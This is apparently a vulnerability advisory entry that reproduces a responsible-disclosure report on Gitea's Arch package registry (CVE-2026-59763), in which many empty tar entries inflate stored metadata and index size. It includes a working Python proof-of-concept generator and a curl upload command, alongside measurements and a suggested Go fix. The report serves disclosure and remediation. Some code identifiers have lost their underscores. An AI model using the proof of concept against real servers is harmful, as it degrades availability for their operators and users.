PT-2026-63314 · Go · Code.Gitea.Io/Gitea

CVE-2026-59763 · Publicado 2026-07-21 · Atualizado 2026-07-21

OSV

CVSS v4.0

5.3

Média

Vetor base

AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Summary

Hello Gitea Security Team,

Thank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.

During local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.

As a result, a relatively small compressed .pkg.tar.gz archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.

Suggested Severity

Suggested severity: Medium

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Suggested CVSS score: 4.3

This assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.

Affected Component

• Gitea package registry
• Arch package upload endpoint
• Arch package metadata parsing
• Arch repository index generation

Technical Details

The upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.

The relevant flow appears to include:

• routers/api/packages/arch/arch.go:46 accepts the upload stream.
• routers/api/packages/arch/arch.go:55 copies the upload into a HashedBuffer.
• routers/api/packages/arch/arch.go:62 parses the archive with arch module.ParsePackage.
• modules/packages/arch/metadata.go:149 appends each non-dot regular tar entry name to files.
• modules/packages/arch/metadata.go:158 stores the full list as p.FileMetadata.Files.
• routers/api/packages/arch/arch.go:77 JSON-marshals the file metadata.
• routers/api/packages/arch/arch.go:143 persists the metadata as arch module.PropertyMetadata.
• services/packages/arch/repository.go:302 deserializes the metadata during index generation.
• services/packages/arch/repository.go:365 joins the full file list into the generated files entry.

From my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.

Impact

An authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid .PKGINFO file and a large number of empty regular file entries.

In my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository files index content to become much larger than the compressed upload size.

The practical impact appears to be resource amplification affecting:

• CPU usage during parsing and index generation
• memory usage during metadata handling
• database storage due to large serialized metadata
• repository index generation size and processing time

This seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.

Local Validation Results

I tested this only on a local self-hosted Gitea instance.

A 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte arch.metadata database property and a generated repository index whose files member contained 100,001 lines.

A larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte arch.metadata database property and a generated repository files member with 500,001 lines.

Proof of Concept

The following proof of concept is intended only for a local self-hosted test instance.

Save the following script as generate arch metadata test package.py:

#!/usr/bin/env python3
from  future  import annotations

import argparse
import gzip
import io
import tarfile
from pathlib import Path

PKGINFO = """pkgname = gitea-metadata-test
pkgbase = gitea-metadata-test
pkgver = 1.0.0-1
pkgdesc = Local metadata scaling test package
url = https://example.invalid/
packager = local test
arch = x86 64
license = MIT
builddate = 1714521600
size = 0
"""

def add bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:
  info = tarfile.TarInfo(name=name)
  info.size = len(data)
  info.mode = 0o644
  tar.addfile(info, io.BytesIO(data))

def build archive(output: Path, entries: int, name width: int) -> None:
  output.parent.mkdir(parents=True, exist ok=True)
  with output.open("wb") as raw:
    with gzip.GzipFile(fileobj=raw, mode="wb", compresslevel=9, mtime=0) as gz:
      with tarfile.open(fileobj=gz, mode="w|") as tar:
        add bytes(tar, ".PKGINFO", PKGINFO.encode("utf-8"))
        for i in range(entries):
          name = f"usr/share/gitea-metadata-test/{i:0{name width}d}.txt"
          add bytes(tar, name, b"")

def main() -> None:
  parser = argparse.ArgumentParser(
    description="Generate a local Arch package test archive with many empty file entries.",
  )
  parser.add argument("--entries", type=int, default=100000)
  parser.add argument("--name-width", type=int, default=8)
  parser.add argument("--output", type=Path, default=Path("gitea-metadata-test.pkg.tar.gz"))
  args = parser.parse args()

  if args.entries < 1:
    raise SystemExit("--entries must be at least 1")
  if args.name width < 1:
    raise SystemExit("--name-width must be at least 1")

  build archive(args.output, args.entries, args.name width)
  print(f"wrote {args.output} with {args.entries} regular file entries")

if  name  == " main ":
  main()

Generate a test archive:

python3 generate arch metadata test package.py 
 --entries 100000 
 --output gitea-metadata-test-100k.pkg.tar.gz

Upload it to a local Gitea test instance with package publishing enabled:

curl -X PUT 
 -H "Authorization: token <TOKEN>" 
 --upload-file gitea-metadata-test-100k.pkg.tar.gz 
 http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo

Observed local result:

HTTP STATUS=201
TIME TOTAL=0.482909
SIZE UPLOAD=470403

Additional Validation

Parser-only measurements:

Entries	Compressed archive bytes	Parsed file entries	Metadata JSON bytes	Joined files bytes	Parse time
25	477	25	1,237	1,074	0 ms
10,000	47,461	10,000	450,112	429,999	25 ms
100,000	470,403	100,000	4,500,112	4,299,999	264 ms

Local Gitea upload measurements:

Entries	Upload HTTP status	Upload time	Uploaded bytes	Stored metadata bytes	Stored file count	Repository index blob bytes	Extracted files lines
10,000	201	0.243 s	47,461	450,112	10,000	27,267	10,001
100,000	201	0.483 s	470,403	4,500,112	100,000	262,301	100,001
500,000	201	1.798 s	2,349,767	22,500,112	500,000	1,306,465	500,001

Package Size Limit Behavior

I also tested LIMIT SIZE ARCH=1MiB with a non-admin package publisher.

Entries	Upload bytes	Upload HTTP status	Stored metadata bytes	Notes
100,000	470,403	201	4,500,112	Accepted because the compressed upload was below the package size limit.
500,000	2,349,767	403	not stored	Rejected with maximum allowed package type size exceeded.

This suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.

Expected Behavior

Gitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.

Suggested Remediation

One possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.

Potential controls could include:

• limiting the maximum number of regular file entries recorded in FileMetadata.Files
• limiting the cumulative byte length of recorded file names
• returning a clear 4xx validation error when an uploaded package exceeds those limits
• optionally making these limits configurable for instance operators
• adding regression tests for excessive file-entry count and excessive cumulative file-name size

For example, the validation could follow this general shape:

const (
	maxArchMetadataFiles = 10000
	maxArchMetadataFileNameBytes = 1 << 20
)

var totalFileNameBytes int

// inside the tar entry loop
if !strings.HasPrefix(filename, ".") {
	totalFileNameBytes += len(hd.Name)
	if len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {
		return nil, util.NewInvalidArgumentErrorf("arch package file metadata exceeds limit")
	}
	files = append(files, hd.Name)
}

This is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.

Closing

Thank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.

I appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.

Correção

Allocation of Resources Without Limits

Enumeração de Fraquezas

CWE-770

Identificadores relacionados

CVE-2026-59763

GHSA-9MQ6-MQJJ-C2C5

Produtos afetados

Code.Gitea.Io/Gitea

Referências · 8

• https://github.com/go-gitea/gitea/pull/38406 · Nota
• https://github.com/go-gitea/gitea/pull/38426 · Nota
• https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf · Nota
• https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31 · Nota
• https://github.com/go-gitea/gitea/security/advisories/GHSA-9mq6-mqjj-c2c5 · Nota
• https://github.com/go-gitea/gitea/releases/tag/v1.27.0 · Nota
• https://github.com/go-gitea/gitea · Nota
• https://osv.dev/vulnerability/GHSA-9mq6-mqjj-c2c5 · Aviso do Fabricante